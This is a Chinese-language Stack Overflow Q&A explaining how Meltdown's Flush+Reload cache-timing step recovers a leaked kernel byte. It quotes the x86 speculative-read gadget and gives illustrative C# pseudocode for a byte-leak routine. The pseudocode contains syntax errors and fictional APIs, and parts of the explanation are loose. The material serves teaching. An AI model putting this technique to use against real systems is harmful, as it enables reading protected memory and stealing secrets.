caching - 如何找出英特尔处理器上的指令触及哪个缓存线?

标签 caching x86

我看了文章about the Meltdown/Spectre exploit允许使用 CPU 中的硬件错误从内核读取特权数据。它说:

The trick is to line up instructions in a normal user process that cause the processor to speculatively fetch data from protected kernel memory before performing any security checks. The crucial Meltdown-exploiting x86-64 code can be as simple as...

; rcx = kernel address
; rbx = probe array
retry:
  mov al, byte [rcx]
  shl rax, 0xc
  jz retry
  mov rbx, qword [rbx + rax]

Trying to fetch a byte from the kernel address as a user process triggers an exception – but the subsequent instructions have already been speculatively executed out of order, and touch a cache line based on the content of that fetched byte.

An exception is raised, and handled non-fatally elsewhere, while the out-of-order instructions have already acted on the content of the byte. Doing some Flush+Reload magic on the cache reveals which cache line was touched and thus the content of the kernel memory byte. Repeat this over and over, and eventually you dump the contents of kernel memory.



有人可以解释一下这个 Flush+Reload 魔法是如何完成的,它如何显示被触摸的缓存行?

最佳答案

//再往下看,C# 中有伪代码显示了完整的过程。

我们有一个内核地址 rcx这是我们想要泄漏的内核内存空间中一个字节的地址(让我们称该字节的值为“X”)。不允许当前运行的用户进程访问该地址。这样做时会抛出异常。

我们在用户空间中有大小为 256 * 4096 字节的探针数组,我们可以自由访问。所以,这只是一些普通的数组,正好有 256 页长。一页的大小为 4096 字节。

首先,执行刷新操作(“刷新+重新加载”的第一部分)。这告诉处理器完全清除 L1 缓存。因此,L1 缓存中没有缓存任何内存页。 (我们在 OP 的代码中没有看到这一点)

然后我们执行OP中提到的代码。

mov al, byte [rcx]

我们在要泄漏的内核地址读取字节值 X 并将其存储在 rax 寄存器中。这条指令会触发异常,因为我们不允许从用户级代码访问这个内存地址。

但是,因为测试我们是否被允许访问这个地址需要一些时间,所以处理器将已经开始执行以下语句。因此,我们将想要知道的字节值 X 存储在这些语句的 rax 寄存器中。
shl rax, 0xc

我们将此 secret 值 X 乘以 4096(页面大小)。
mov rbx, qword [rbx + rax]

现在我们将 rax 寄存器中的计算值添加到我们的探针阵列的开头,并获得一个地址,该地址指向构成我们的探针阵列的内存空间中的第 X 页。

然后我们访问该地址处的数据,这意味着探针数组的第 X 页被加载到 L1 缓存中。

现在,除了缓存中的两个页面之外,L1 缓存是空的(因为我们之前已经明确地清除了它):
  • 内核内存中包含X的页面(但我们仍然无法访问)
  • 第 X 个。我们探针阵列中的页面

  • 现在,“Flush+Reload”的第二部分开始。我们一个接一个地读取探针阵列中的每一页,测量所需的时间。因此,我们总共加载了 256 个页面。其中 255 个页面加载会相当慢(因为相关的内存还没有在 L1 缓存中),但是一个加载(第 X 页的)将非常快(因为它之前在 L1 缓存中)。

    现在,因为我们发现加载第 X 页最快,所以我们知道 X 是我们想要泄漏的内核地址处的值。

    来自 meltdown paper ,这是显示在探针阵列中加载页面的时间测量的图形:

    enter image description here

    在这种情况下,X 为 84。

    显示完整过程的 C# 伪代码:

    public unsafe byte LeakByte(IntPtr kernelAddress)
    {
        const int PAGE_SIZE = 4096;
    
        // Make probe array
        byte[] probeArray = new byte[256 * PAGE_SIZE];
    
        // Clear cash
        Processor.ClearL1Cache();
    
        try
        {
            // mov al, byte [rcx]
            // This will throw an exception because we access illegal memory
            byte secret = *((byte*)kernelAddress.ToPointer());
    
            // Note that although the previous line logically 
            // throws an exception, 
            // the following code is still executed internally 
            // in the processor before the exception is 
            // actually triggered
    
            // Although the following lines are executed, any assignments 
            // to variables are discarded by the processor at the time the 
            // exception is then actually thrown.
    
            // shl rax, 0xc
            int pageOffset = secret * PAGE_SIZE;
    
            // mov rbx, qword [rbx + rax]
            // This moves the page with number secret into the L1 cache.
            int temp = probeArray[pageOffset];
        }
        catch
        {
            // Ignore Exception
        }
    
        // Now meassure time for accessing pages
        int bestTime = int.MaxValue;
        byte bestPage = 0;
    
        for(int i=0; i<= 255, i++)
        {
            int startTime = DateTime.NowInNanoSeconds;
            int temp = probeArray[i * PAGE_SIZE];
            int endTime = DateTime.NowInNanoSeconds;
    
            int timeTaken = endTime - startTime;
            if(timeTaken < bestTime)
            {
                bestTime = timeTaken;
                bestPage = (byte)i;
            }
    
        }
    
        // Fastest page was loaded from Cache and is the leaked secret
        return bestPage;
    }
    

    关于caching - 如何找出英特尔处理器上的指令触及哪个缓存线?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/48097393/

    相关文章:

    postgresql - Postgres缓存(shared_buffers)数据是按照索引排序的吗?

    performance - AVX2 指令延迟和吞吐量

    performance - 使用汇编语言进行 128 位移位?

    assembly - 为超过 4 字节的 x86 程序集 MASM 声明本地存储

    memory-management - x86 的物理内存地址到 DRAM 映射信息

    grails - Grails-存储缓存的位置

    java - getHibernateTemplate().setCacheQueries() 应该如何正确使用?

    facebook - 我可以强制刷新 Facebook 对象的图像 URL 吗?

    javascript - 防止客户端存储 XMLHttpRequest 文档

    assembly - 为什么我可以在寄存器中访问较低的 dword/word/byte 但不能访问较高的 dword/word/byte?